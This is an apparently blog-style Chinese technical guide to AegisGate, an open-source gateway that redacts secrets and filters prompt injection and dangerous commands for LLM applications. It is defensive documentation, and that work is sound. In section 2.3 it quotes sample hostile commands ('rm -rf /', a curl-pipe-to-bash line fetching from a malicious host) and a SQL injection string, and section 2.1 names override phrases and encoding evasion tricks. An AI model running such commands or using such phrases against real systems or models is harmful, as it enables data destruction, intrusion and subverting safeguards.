AegisGate:开源本地化AI安全网关,集中防护LLM应用数据泄露与注入攻击
1. 项目概述:AegisGate,一个为AI应用构建的本地化安全网关
如果你正在大规模使用AI Agent、AI编程助手(比如Cursor、Claude Code)或者基于LLM API开发应用,一个无法回避的挑战就是安全。我们总在担心:用户输入的对话里会不会包含公司的API密钥?AI助手生成的代码里会不会藏着一个危险的rm -rf命令?或者更隐蔽的,一个精心构造的提示词注入,会不会让AI泄露我们本不该透露的系统信息?过去,这些安全策略往往需要我们在每个应用里重复实现,既繁琐又容易遗漏。
AegisGate就是为了解决这个问题而生的。它是一个开源的、自托管的、基于管道的安全代理网关。简单来说,你可以把它想象成部署在你的AI应用和上游LLM服务商(如OpenAI、Claude、Gemini或任何兼容OpenAI的API)之间的一个“安检门”。所有进出流量都必须经过它,由它来执行PII(个人身份信息)脱敏、提示词注入检测、危险命令拦截和输出净化等安全策略。
它的核心价值在于集中化和透明化。你不再需要为每个AI应用单独编写安全过滤逻辑,只需将应用的baseUrl指向AegisGate,安全策略就自动生效了。这对于管理一个由多个AI Agent、多个上游模型组成的复杂系统来说,极大地简化了安全运维的复杂度。
1.1 核心设计理念:管道化与可插拔
AegisGate的设计非常清晰,采用了经典的请求/响应管道(Pipeline)架构。这种设计的好处是模块化,每个安全功能都是一个独立的“过滤器”,可以按需启用、禁用或调整顺序。整个处理流程分为两大阶段:
请求管道(Request Pipeline):处理从客户端(你的AI应用)发往上游LLM的请求。
- PII脱敏:首先,它会扫描请求内容,识别并替换超过50种模式的敏感信息,如信用卡号、API密钥、社保号码等。
- 精确值脱敏:针对已知的特定密钥或秘密(如你配置的内部令牌)进行匹配和替换。
- 请求净化器:检测请求中可能存在的提示词注入攻击、信息泄露尝试等。
- RAG防毒守卫:专门防范针对检索增强生成(RAG)系统的投毒攻击。
响应管道(Response Pipeline):处理从上游LLM返回给客户端的响应。
- 异常检测器:识别响应中的编码攻击、异常字符模式等。
- 注入检测器:使用正则表达式和本地的TF-IDF语义分类器(支持中英文),检测LLM输出中是否被植入了恶意指令。
- RAG防毒守卫:再次检查响应,防止RAG上下文被污染。
- 权限守卫:防止响应中包含越权操作指令。
- 工具调用守卫:监控并过滤AI发起的可能有害的工具调用(尤其在MCP场景下)。
- 恢复与后置守卫:在脱敏内容恢复后(如果需要),进行最终安全检查。
- 输出净化器:根据综合风险评分和安全等级配置,决定是放行、部分净化还是完全阻断响应。
这种管道化设计意味着你可以通过环境变量轻松调整安全强度。例如,在开发测试阶段,你可以将AEGIS_SECURITY_LEVEL设为low以减少误报;在生产环境则设为high。你也可以单独关闭某个过滤器,比如只启用脱敏而关闭注入检测(__redact模式)。
1.2 关键特性与适用场景
AegisGate并非又一个简单的反向代理,它集成了几个对开发者非常友好的特性:
- OpenAI API全兼容:它完美模拟了OpenAI的
/v1/chat/completions和/v1/responses端点。这意味着绝大多数使用OpenAI SDK的AI应用和框架,无需修改任何代码,只需更改API地址就能接入。 - 协议转换魔法:通过
compat模式,它可以将Anthropic Claude的/v1/messages请求,实时转换为OpenAI的/v1/responses格式,并将响应转换回去。这让你可以用Claude Code或Anthropic SDK直接调用GPT-5.4等模型,无需重写客户端。 - MCP与Agent SKILL支持:这是与AI编程助手深度集成的关键。通过配置,AegisGate可以成为Cursor、Claude Code等工具与LLM之间的安全桥梁,保护工具调用(Tool Calls)不被滥用。
- 基于令牌的路由:一个网关实例可以同时代理多个上游服务。你可以为每个上游(比如公司内部的Claude代理、开源的GPT API服务)分配一个令牌(Token),客户端通过不同的令牌路径来访问不同的上游,实现统一入口、策略集中管理。
- 内置管理界面:提供了一个Web UI(
/__ui__/login),用于管理令牌、查看安全规则、监控实时请求统计和进行密钥轮换,降低了运维门槛。
那么,谁最适合使用AegisGate?
- AI应用开发者:你开发了一个面向用户的产品,需要集成LLM能力,但又担心用户输入或模型输出带来数据泄露或安全风险。
- 企业IT/安全团队:公司内部部署了多种AI助手和模型,需要统一的安全审计和合规策略。
- AI Agent框架使用者:你使用AutoGPT、LangChain等框架构建了复杂的AI智能体,需要为它们的每一次LLM调用加上安全护栏。
- MCP工具开发者/使用者:你开发或使用通过Model Context Protocol与AI交互的工具,需要防范恶意的工具调用请求。
2. 核心安全能力深度解析
AegisGate的安全能力是其立身之本。我们来深入拆解它的几个核心防护模块,理解其工作原理和配置要点。
2.1 提示词注入检测:多层防御体系
提示词注入是LLM应用最常见的安全威胁之一,攻击者试图通过精心构造的输入,让模型忽略原有的系统指令,执行攻击者意图。AegisGate采用了一种“深度防御”策略,不依赖单一方法。
第一层:基于规则的模式匹配(Regex Patterns)这是最快的一层。它内置了大量正则表达式,用于检测已知的、典型的注入手法。例如:
- 直接注入:像“忽略之前的指令”、“你现在的角色是...”这类短语。
- 系统提示词窃取:试图让模型输出其系统提示词内容的指令。
- 同形异义攻击(Typoglycemia):将关键字符替换为外形相似的Unicode字符以绕过简单过滤(例如,用希腊字母
Α(Alpha)代替英文字母A)。 - 编码攻击:对注入载荷进行Base64、URL编码等,企图绕过文本检查。
这一层的优势是速度快、开销低,能拦截大部分“脚本小子”级别的攻击。但它的缺点是难以应对未知的、语义复杂的注入。
第二层:本地语义分类器(TF-IDF + Logistic Regression)为了应对更高级的语义注入,AegisGate内置了一个轻量级的机器学习分类器。它使用TF-IDF(词频-逆文档频率)来将文本向量化,然后通过一个逻辑回归模型判断其是否为注入尝试。
- 双语支持:该模型针对英文和中文进行了训练,能更好地处理混合语言或纯中文的注入尝试。
- 无需GPU:整个模型文件仅约166KB,在CPU上即可高效运行,无需依赖任何外部AI服务,保证了部署的简便性和隐私性。
- 可配置阈值:通过
AEGIS_RISK_SCORE_THRESHOLD或策略文件中的risk_threshold,你可以调整模型的敏感度。降低阈值会使检测更严格(可能增加误报),提高阈值则更宽松。
第三层:Unicode与编码攻击检测这一层专门对付那些试图利用字符编码复杂性来绕过检测的攻击。
- 不可见字符:检测零宽度字符、控制字符等,这些字符可能被用来分割或混淆提示词。
- 双向文本滥用:防止利用从右向左书写的字符(如阿拉伯语、希伯来语)来扰乱文本渲染和解析逻辑。
- 多阶段编码:识别经过多次编码(如Base64后再进行URL编码)的潜在恶意载荷。
实操心得:在实际部署中,建议先从
medium安全等级和默认风险阈值(0.7)开始。观察一段时间的日志,如果误报较多(尤其是对某些正常的专业术语或代码片段),可以适当调高风险阈值(例如0.8)。如果安全要求极高,可以设为high等级并调低阈值(例如0.6),但要做好人工审核部分被拦截请求的准备。
2.2 PII与敏感信息脱敏:超过50种模式的守护
数据泄露是另一个重大风险。AegisGate的脱敏引擎覆盖了极其广泛的敏感信息模式,并分为几个大类:
1. 凭证与密钥类
- 通用API密钥:匹配常见的
sk-、AKIA、ghp_等前缀模式。 - JWT令牌:识别标准的
xxxxx.yyyyy.zzzzz三段式结构。 - 私有密钥:识别PEM格式的RSA、ECC私钥头尾标记。
- 特定服务令牌:如AWS密钥对、GitHub个人访问令牌、Slack Bot令牌等。
2. 金融信息类
- 信用卡号:支持主流卡组织格式,并进行Luhn算法校验以提高准确性。
- 银行账户信息:IBAN国际银行账号、SWIFT/BIC代码、美国路由号码等。
3. 个人身份信息类
- 美国社保号(SSN):
XXX-XX-XXXX格式。 - 护照/驾照号码:常见国家的模式。
- 医疗记录号。
4. 加密货币相关
- 钱包地址:比特币(BTC)、以太坊(ETH)、Solana(SOL)、波场(TRON)等主流链的地址格式。
- 私钥与助记词:WIF格式私钥、扩展公钥(xpub)、以及常见的12/24个单词的助记词短语。
5. 网络与基础设施标识符(可配置为宽松模式)
- IP地址:IPv4和IPv6。
- MAC地址。
- 内部主机名、域名。
- Kubernetes资源名称、容器ID等。
脱敏行为:当检测到这些模式时,AegisGate默认会用通用的占位符(如[REDACTED])替换掉原文。对于某些类型,如信用卡号,可能会保留最后四位以便于参考,同时隐藏主要部分。所有被脱敏的位置和原始片段(哈希值)都会记录在审计日志中,便于事后追溯,但不会泄露明文。
注意事项:脱敏引擎虽然强大,但并非万能。它主要基于正则模式,对于格式不规范、或经过轻微混淆的信息(如在社交对话中提及的信用卡号),可能存在漏报。因此,它最适合拦截在代码、配置、日志等结构化或半结构化文本中意外出现的敏感信息。对于高度非结构化的自由文本,应结合人工审核策略。
2.3 危险响应处理与净化策略
LLM有时会生成包含危险内容的响应,例如:
- 系统命令:
rm -rf /,curl http://malicious-site.com/exploit.sh | bash - SQL注入载荷:
' OR '1'='1' -- - HTTP走私攻击:精心构造的HTTP头,试图利用代理服务器逻辑漏洞。
- 垃圾信息/钓鱼内容。
AegisGate的响应管道会综合注入检测器、异常检测器、权限守卫和工具调用守卫的评分,对每个响应片段(对于流式响应则是每个数据块)进行风险评估。
根据配置的AEGIS_SECURITY_LEVEL,它会采取不同行动:
- 低风险(Low):仅对确认为恶意的、高风险的命令进行拦截或净化,误报容忍度高。
- 中风险(Medium,默认):平衡安全与可用性。对高风险内容进行净化,对中低风险内容(如一些模糊的系统操作提及)可能进行“分块连字符混淆”(例如将
developer message变成dev-elo-per mes-sag-e),以降低可读性但不完全阻断。 - 高风险(High):最为严格。任何被标记为潜在风险的内容都可能被替换为安全标记(如
[AegisGate: dangerous-content-removed]),垃圾信息直接被替换为[AegisGate:spam-content-removed]。
流式响应处理:这是AegisGate的一个亮点。它支持对Server-Sent Events (SSE) 流进行实时增量检查。这意味着它不需要等待整个响应完成再判断,而是可以在流传输过程中,一旦发现某个数据块风险超标,立即终止流并向客户端发送终止信号,从而及时阻止后续有害内容的传输。
3. 部署与上游集成实战
理论讲完了,我们来看如何真正把AegisGate用起来。部署非常简单,但和上游服务的集成有一些关键细节需要注意。
3.1 快速部署:Docker Compose一键启动
这是最推荐的方式,适合绝大多数场景。
# 1. 克隆仓库 git clone https://github.com/ax128/AegisGate.git cd AegisGate # 2. (重要)处理外部网络依赖 # 默认的docker-compose.yml文件假设了一些外部Docker网络存在。 # 如果这是你全新的部署,可以创建它们,或者更简单的方式是修改compose文件移除这些`external`网络依赖。 # 这里我们选择创建它们(如果不存在): docker network create cliproxyapi_default 2>/dev/null || true docker network create sub2api-deploy_sub2api-network 2>/dev/null || true # 3. 启动服务 docker compose up -d --build等待片刻,服务就会在http://localhost:18080启动。你可以通过以下命令检查健康状态:
curl http://127.0.0.1:18080/health访问http://localhost:18080/__ui__/login即可打开管理控制台(首次登录需要设置网关密钥)。
关键配置解析(config/.env): 部署后,你需要根据环境调整config/.env文件。几个最关键的环境变量:
AEGIS_HOST和AEGIS_PORT:网关监听地址和端口。AEGIS_ENFORCE_LOOPBACK_ONLY:如果设为true,则只允许来自本机(127.0.0.1)的请求。在Docker部署中,通常需要设为false,以便容器间或外部访问。AEGIS_ENABLE_LOCAL_PORT_ROUTING:这是同主机部署的关键开关。设为true后,你可以通过类似/v1/__gw__/t/8317/...的路径,让网关将请求转发到本机(localhost)的8317端口。在Docker Compose部署中,这个功能默认是开启的。AEGIS_DOCKER_UPSTREAMS:这是一个更优雅的Docker服务发现机制。格式如8317:cli-proxy-api,8080:sub2api。这意味着令牌8317对应的上游不是localhost:8317,而是Docker服务名cli-proxy-api的8317端口。这要求AegisGate容器和上游服务容器在同一个Docker网络中。默认的compose文件已经尝试为你连接一些预设网络。
3.2 上游服务集成模式详解
AegisGate本身不提供LLM能力,它需要连接到一个真正的上游LLM API。以下是几种典型的集成模式。
模式一:同主机部署(最常见)你的AegisGate和上游LLM代理(如CLIProxyAPI、Sub2API)部署在同一台服务器上。这是最简单、性能最好的方式。
方法A:使用本地端口路由(推荐)
- 确保
AEGIS_ENABLE_LOCAL_PORT_ROUTING=true。 - 你的上游服务(例如CLIProxyAPI)运行在localhost的8317端口。
- 你的AI客户端(如Cursor)的
baseUrl配置为:http://<网关IP>:18080/v1/__gw__/t/8317<网关IP>:如果客户端和网关在同一主机,就是127.0.0.1;如果在同一Docker网络,就是网关容器IP或服务名;如果在不同主机,就是网关服务器的公网/IP。8317:这个数字就是令牌,网关会将其解析为localhost:8317。
方法B:使用Docker服务映射(更优雅)
- 在
AEGIS_DOCKER_UPSTREAMS中配置8317:cli-proxy-api。 - 确保
cli-proxy-api这个Docker服务存在,并且AegisGate容器能通过Docker网络访问到它(通常需要它们在同一个自定义Docker网络中)。 - 客户端
baseUrl配置同上:http://<网关IP>:18080/v1/__gw__/t/8317。 - 优势:网关通过Docker服务名访问上游,不依赖主机网络模式,更符合容器化最佳实践。
模式二:远程上游集成你的上游LLM API在另一台服务器或云服务上。
- 首先,你需要通过管理API注册一个令牌,将其绑定到远程上游的地址。
curl -X POST http://127.0.0.1:18080/__gw__/register \ -H "Content-Type: application/json" \ -d '{ "upstream_base": "https://api.openai.com/v1", # 你的远程上游地址 "gateway_key": "YOUR_ADMIN_GATEWAY_KEY" # 在网关启动日志或.env中设置 }' - 命令会返回一个令牌,比如
abc123def456。 - 客户端
baseUrl配置为:http://<网关IP>:18080/v1/__gw__/t/abc123def456
模式三:协议转换模式(Claude SDK调用GPT)这是AegisGate的一个杀手级功能。假设你想用官方的Anthropic Claude SDK或Claude Code,但后端想用GPT-5.4。
- 配置兼容令牌:在
config/gw_tokens.json中(或通过管理UI)添加:{ "tokens": { "claude-to-gpt": { "compat": "openai_chat" } } } - 配置模型映射:在
config/model_map.json中定义Claude模型名到OpenAI模型名的映射:{ "map": { "claude-3-5-sonnet-20241022": "gpt-4o", "claude-3-haiku-20240307": "gpt-3.5-turbo" } } - 启用端口路由:设置
AEGIS_COMPAT_ALLOWED_PORTS=8317(假设你的GPT代理在8317端口)。 - 配置客户端:将Claude SDK的
ANTHROPIC_BASE_URL环境变量设置为:http://<网关IP>:18080/v1/__gw__/t/claude-to-gpt/8317 - 现在,Claude SDK发送的
/v1/messages请求会被网关自动转换为/v1/responses格式发给GPT代理,并将响应转换回Claude格式。对客户端来说,它以为自己一直在和Claude API对话。
3.3 生产环境部署:Caddy反向代理与TLS
对于暴露在公网或内部网络的生产环境,强烈建议在AegisGate前面加一个反向代理(如Caddy或Nginx)来处理TLS加密、域名路由和负载均衡。
一个典型的Caddyfile配置示例如下:
# Caddyfile.example 简化版 your-api.domain.com { reverse_proxy localhost:18080 { header_up X-Forwarded-For {remote_host} header_up X-Real-IP {remote_host} } }部署步骤:
- 将AegisGate的
AEGIS_HOST设置为0.0.0.0,AEGIS_PORT保持18080。 - 配置Caddy,将域名
your-api.domain.com的流量代理到localhost:18080。 - 在Caddy配置中,设置
AEGIS_TRUSTED_PROXY_IPS环境变量为Caddy服务器的IP,以便网关能正确获取客户端的真实IP(用于日志和可能的IP白名单)。 - 客户端现在可以通过
https://your-api.domain.com/v1/__gw__/t/8317/chat/completions来访问受TLS保护的网关。
实操心得:在Docker Compose部署中,可以将Caddy和AegisGate放在同一个compose文件中。让Caddy容器监听80/443端口,并将请求反向代理到AegisGate的服务名(如
aegisgate:18080)。这样,你只需要暴露Caddy的端口,网关本身不直接对外。同时,务必在网关的.env中设置AEGIS_TRUSTED_PROXY_IPS为Caddy容器的内部IP或网络别名,以确保日志准确性。
4. 高级配置与过滤器模式
AegisGate提供了灵活的配置选项,以适应不同的使用场景和安全要求。
4.1 过滤器模式:按需调整安全强度
并非所有流量都需要经过完整的安全检查。AegisGate提供了三种过滤器模式,通过URL后缀即可指定:
| 模式 | URL后缀示例 | 行为描述 | 适用场景 |
|---|---|---|---|
| 完全防护(默认) | /v1/__gw__/t/8317/chat/completions | 执行所有已启用的请求和响应管道过滤器。 | 生产环境,处理不可信的用户输入。 |
| 仅脱敏模式 | /v1/__gw__/t/8317**__redact**/chat/completions | 只运行脱敏过滤器(精确值脱敏、PII脱敏、恢复)。跳过所有的注入检测、命令拦截等安全检测。 | 内部可信工具调用,你只关心防止敏感信息泄露给上游,不担心提示词注入。 |
| 穿透模式 | /v1/__gw__/t/8317**__passthrough**/chat/completions | 跳过所有过滤器。请求和响应原样转发。但仍会进行最小化的协议兼容性处理(如剥离网关内部字段、维持Chat/Responses参数转换)。 | 调试、性能测试,或对完全可信的流量进行基准对比。警告:此模式无任何安全防护。 |
使用示例:
# 场景1:内部管理后台调用,只需脱敏,信任操作员。 curl -X POST http://gateway:18080/v1/__gw__/t/my-internal-token__redact/chat/completions \ -H "Content-Type: application/json" \ -d '{"model": "gpt-4", "messages": [{"role": "user", "content": "我的API key是 sk-abc123...,请帮我检查。"}]}' # 输出中,sk-abc123... 会被替换为 [REDACTED],但不会进行其他安全检查。 # 场景2:性能压测,需要排除网关处理开销。 curl -X POST http://gateway:18080/v1/__gw__/t/my-internal-token__passthrough/chat/completions \ -H "Content-Type: application/json" \ -d '{"model": "gpt-4", "messages": [{"role": "user", "content": "Hello"}]}' # 请求和响应几乎无延迟地穿透网关。重要提示:
- 过滤器模式是按请求生效的,不会改变令牌本身的注册信息。
- 它同时适用于已注册的令牌和本地端口路由。
- 直接访问
/v1/chat/completions(非令牌路径)不支持客户端指定过滤器模式,始终使用完全防护。 - 审计日志中会记录每条请求使用的过滤器模式(
filter_mode:redact或filter_mode:passthrough)。
4.2 安全等级与风险阈值调优
安全策略的严格程度由两个主要配置控制:
AEGIS_SECURITY_LEVEL(环境变量):全局安全等级,可选low,medium(默认),high。它影响输出净化器等组件的整体行为倾向。- 风险阈值:这是一个0到1之间的浮点数,用于判断内容是否“危险”。有两个地方可以设置:
- 全局默认:通过环境变量
AEGIS_RISK_SCORE_THRESHOLD(默认0.7)。分数高于此阈值被视为高风险。 - 策略文件覆盖:在
config/policies/下的YAML策略文件中,可以为每个检测器设置独立的risk_threshold。策略文件的优先级高于环境变量。
- 全局默认:通过环境变量
调优建议:
- 初始阶段:使用默认的
medium和 0.7 阈值。部署后,密切观察管理UI中的请求统计和拦截日志。 - 误报过多:如果发现很多正常的代码讨论、技术术语被标记为“可疑命令”,可以尝试:
- 将
AEGIS_RISK_SCORE_THRESHOLD提高到 0.75 或 0.8,让检测更“宽容”。 - 或者,将
AEGIS_SECURITY_LEVEL设为low。
- 将
- 漏报需要更严格:如果安全审计要求极高,可以:
- 将
AEGIS_RISK_SCORE_THRESHOLD降低到 0.6 或 0.5。 - 将
AEGIS_SECURITY_LEVEL设为high。 - 启用
AEGIS_STRICT_COMMAND_BLOCK_ENABLED=true,这会强制拦截任何匹配危险命令模式的内容,无论风险评分如何。
- 将
- 精细化控制:对于特定场景,可以创建自定义策略文件。例如,为一个处理客服对话的令牌设置较宽松的阈值(0.8),而为处理代码生成的令牌设置更严格的阈值(0.6)。
4.3 存储后端与可观测性
存储后端:AegisGate支持三种后端,通过AEGIS_STORAGE_BACKEND配置。
- SQLite (默认):最简单,零配置,数据存储在单个文件中(
./data/aegisgate.db)。适合单机部署和测试。 - PostgreSQL:适合生产环境,支持高并发和更好的数据持久化。需要配置
AEGIS_POSTGRES_DSN。 - Redis:性能极高,适合作为缓存或会话存储。但注意Redis默认是内存数据库,需配置持久化策略以防数据丢失。需要配置
AEGIS_REDIS_DSN。
可观测性(可选):安装时添加[observability]扩展(pip install -e ".[observability]"),AegisGate会暴露一个Prometheus格式的/metrics端点。你可以配置Prometheus来抓取这些指标,并在Grafana中可视化,监控请求量、延迟、错误率、过滤器触发次数等。这对于生产环境监控至关重要。
5. 常见问题排查与实战技巧
即使部署顺利,在实际运行中也可能遇到各种问题。这里记录了一些常见坑点和解决方法。
5.1 部署与连接问题
问题1:启动Docker Compose时,日志报错涉及网络cliproxyapi_default或sub2api-deploy_sub2api-network找不到。
- 原因:默认的
docker-compose.yml文件引用了外部Docker网络,这些网络可能在你环境中不存在。 - 解决:
- (推荐)修改
docker-compose.yml,删除或注释掉networks部分中关于external: true以及引用cliproxyapi_default和sub2api-deploy_sub2api-network的配置项。让Compose创建它自己的默认网络。 - 或者,按照README提示,先手动创建这些网络:
docker network create cliproxyapi_default和docker network create sub2api-deploy_sub2api-network。
- (推荐)修改
问题2:通过网关访问上游服务,返回token_not_found或upstream_unreachable。
- 排查步骤:
- 确认路由模式:如果你用的是本地端口路由(如
/t/8317),检查AEGIS_ENABLE_LOCAL_PORT_ROUTING是否设为true。 - 确认上游服务:在网关主机上,直接
curl http://localhost:8317/health(或相应端口)测试上游服务是否正常运行且可访问。 - 检查Docker网络:如果使用Docker服务映射(
AEGIS_DOCKER_UPSTREAMS),确保AegisGate容器和上游服务容器在同一个Docker网络中。使用docker network inspect <network_name>查看容器连接情况。 - 检查防火墙:确保主机防火墙或云安全组没有阻止容器间或本地回环地址的通信。
- 确认路由模式:如果你用的是本地端口路由(如
问题3:管理UI (/__ui__/login) 无法访问或白屏。
- 原因:前端静态资源可能未正确加载,或网关服务未完全启动。
- 解决:
- 检查网关日志:
docker compose logs aegisgate查看是否有启动错误。 - 确保你访问的地址和端口正确(默认
http://localhost:18080)。 - 尝试清除浏览器缓存,或使用无痕模式访问。
- 检查网关日志:
5.2 请求处理与响应问题
问题4:客户端收到400 missing_target_url_header错误(使用v2代理时)。
- 原因:v2通用代理 (
/v2/__gw__/t/<token>/...) 要求请求头中必须包含x-target-url,并且该URL的主机名必须在AEGIS_V2_TARGET_ALLOWLIST环境变量允许列表中。 - 解决:
- 确保你的请求包含了正确的
x-target-url头,值是一个完整的http://或https://URL。 - 在网关的
.env文件中设置AEGIS_V2_TARGET_ALLOWLIST,例如:AEGIS_V2_TARGET_ALLOWLIST=api.openai.com,my-internal-llm.example.com。如果该变量为空,则拒绝所有目标,这是安全默认设置。
- 确保你的请求包含了正确的
问题5:流式响应(SSE)中途断开,或日志中出现upstream_eof_no_done。
- 原因:上游LLM服务在流式传输结束时,没有按照OpenAI SSE规范发送
data: [DONE]事件,就直接关闭了连接。 - 影响:AegisGate会尝试自动恢复,为客户端合成一个完成事件,这通常是良性的。但可能意味着上游服务实现不规范。
- 排查:检查上游服务的日志和文档,确认其SSE实现是否完整。如果频繁发生,可以考虑在网关配置中增加
AEGIS_UPSTREAM_TIMEOUT_SECONDS,给上游更多时间。
问题6:某些正常的请求被误判为提示词注入或被脱敏。
- 解决:
- 查看审计日志:管理UI中有详细的请求日志,可以看到每个过滤器给出的风险评分和具体触发的规则。这是诊断的第一步。
- 调整阈值:如4.2节所述,适当提高
AEGIS_RISK_SCORE_THRESHOLD。 - 使用仅脱敏模式:如果确认该请求来源可信,只是内容包含类似注入的句式,可以使用
__redact后缀绕过安全检测。 - 自定义规则(高级):对于反复误报的特定模式,可以考虑修改或扩展
config/目录下的规则文件(如正则表达式列表)。但需谨慎,避免引入安全漏洞。
5.3 性能与运维技巧
技巧1:监控与日志
- 启用可观测性:生产环境务必安装
[observability]扩展,并集成Prometheus/Grafana。监控关键指标:请求延迟(aegisgate_request_duration_seconds)、过滤耗时、各过滤器触发次数。 - 集中日志:将Docker容器的日志输出到外部系统,如ELK栈或Loki。方便检索和分析安全事件。
技巧2:令牌与密钥管理
- 定期轮换网关密钥:用于管理API (
/__gw__/register) 的gateway_key应定期更换。 - 为不同用途创建不同令牌:不要所有应用共用一个令牌。为Web应用、内部工具、Agent分别创建令牌,并可以绑定不同的上游和策略。
- 利用管理UI:Web UI提供了令牌的创建、禁用、删除和流量查看功能,比直接操作配置文件更安全便捷。
技巧3:高可用考虑(进阶)AegisGate本身是无状态的(状态存储在数据库/Redis中)。要实现高可用:
- 将存储后端(PostgreSQL/Redis)部署为高可用集群。
- 部署多个AegisGate实例,共享同一个存储后端。
- 在前端使用负载均衡器(如Nginx, HAProxy)将流量分发到多个网关实例。
- 确保负载均衡器或网关配置了相同的
AEGIS_TRUSTED_PROXY_IPS,以正确获取客户端IP。
技巧4:与CI/CD集成你可以将AegisGate的安全检查作为CI/CD流水线的一部分。例如,在自动化测试中,让测试Agent通过网关调用LLM,并检查网关的审计日志,确认没有敏感信息泄露或危险命令生成。这可以将安全左移,提前发现问题。
经过以上从概念到实战的详细拆解,你应该对AegisGate是什么、能做什么、以及如何部署和调优有了全面的认识。它就像一个为你的LLM应用量身定制的“防火墙+WAF”,将复杂的安全问题抽象成一个可配置、可观测的中间层。无论是保护内部数据,还是加固面向用户的AI产品,它都是一个值得深入研究和部署的强大工具。
